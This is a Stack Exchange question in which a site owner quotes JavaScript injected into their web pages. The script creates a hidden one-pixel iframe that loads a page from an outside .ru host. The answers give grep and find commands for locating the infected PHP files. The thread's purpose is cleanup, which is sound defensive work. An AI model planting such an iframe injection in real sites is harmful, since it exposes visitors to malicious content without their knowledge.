Take the 2-minute tour ×
Unix & Linux Stack Exchange is a question and answer site for users of Linux, FreeBSD and other Un*x-like operating systems.. It's 100% free, no registration required.

One of my website on my webserver has suffered an attack : code injection.

Here is the malicious code :

<script type=\"text/javascript\" language=\"javascript\">
(function () {     
    var t = document.createElement('iframe');    
    t.src = 'http://ahtiagge.ru/count27.php';    
    t.style.position = 'absolute';    
    t.style.border = '0';    
    t.style.height = '1px';    
    t.style.width = '1px';    
    t.style.left = '1px';    
    t.style.top = '1px';    
    if (!document.getElementById('t')) {        
        document.write('<div id=\'t\'></div>');
        document.getElementById('t').appendChild(t);    
    }
 })
();</script>

I want to know the name (and path) of all files coutains the expression on my server to stanch the contagion. Here is the expression i want to match :'http://ahtiagge.ru/count27.php'

I would like results like that :

/var/www/vhosts/site1.com/httpdocs/index.php
/var/www/vhosts/site1.com/httpdocs/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/and_sub/fileN.php

How can I realize this with a shell script ? is it possible ? Is someone can help me ?

Best regards,

share|improve this question
1  
would a simple grep -rl 'http://ahtiagge.ru/count27.php' /var/www/vhosts/site1.com/httpdocs/* work for you? –  Drake Clarris Dec 26 '12 at 14:47
    
can I redirect the output in a file like grep -rl 'ahtiagge.ru/count27.php'; /var/www/vhosts/site1.com/httpdocs/* > scran.txt ? –  Raphaël Dec 26 '12 at 14:48
    
yeah of course. –  Drake Clarris Dec 26 '12 at 14:54
2  
careful, Raphaël, you added a ";" after "php'" which shouldn't be here : it would separate the command into 2 commands, the 2nd one launching "/var/www/...../site1.com" with arguments "/httpdocs/*" ... just drop the ";". –  Olivier Dulac Dec 26 '12 at 16:08
    
ha good catch didn't see that –  Drake Clarris Dec 26 '12 at 16:25
add comment

2 Answers 2

up vote 1 down vote accepted

You can simply use grep for the same

grep -RP "http:\/\/ahtiagge.ru\/count27\.php" /var/www/vhosts/

or only check in *.php files only with the help of find

find /var/www/vhosts/ -name "*.php" -print | xargs grep -P "http:\/\/ahtiagge.ru\/count27\.php"
share|improve this answer
add comment

I like this command:

grep -i -n -I -H -R --include="*.php" -E "some_expression" .

Cheers.

share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.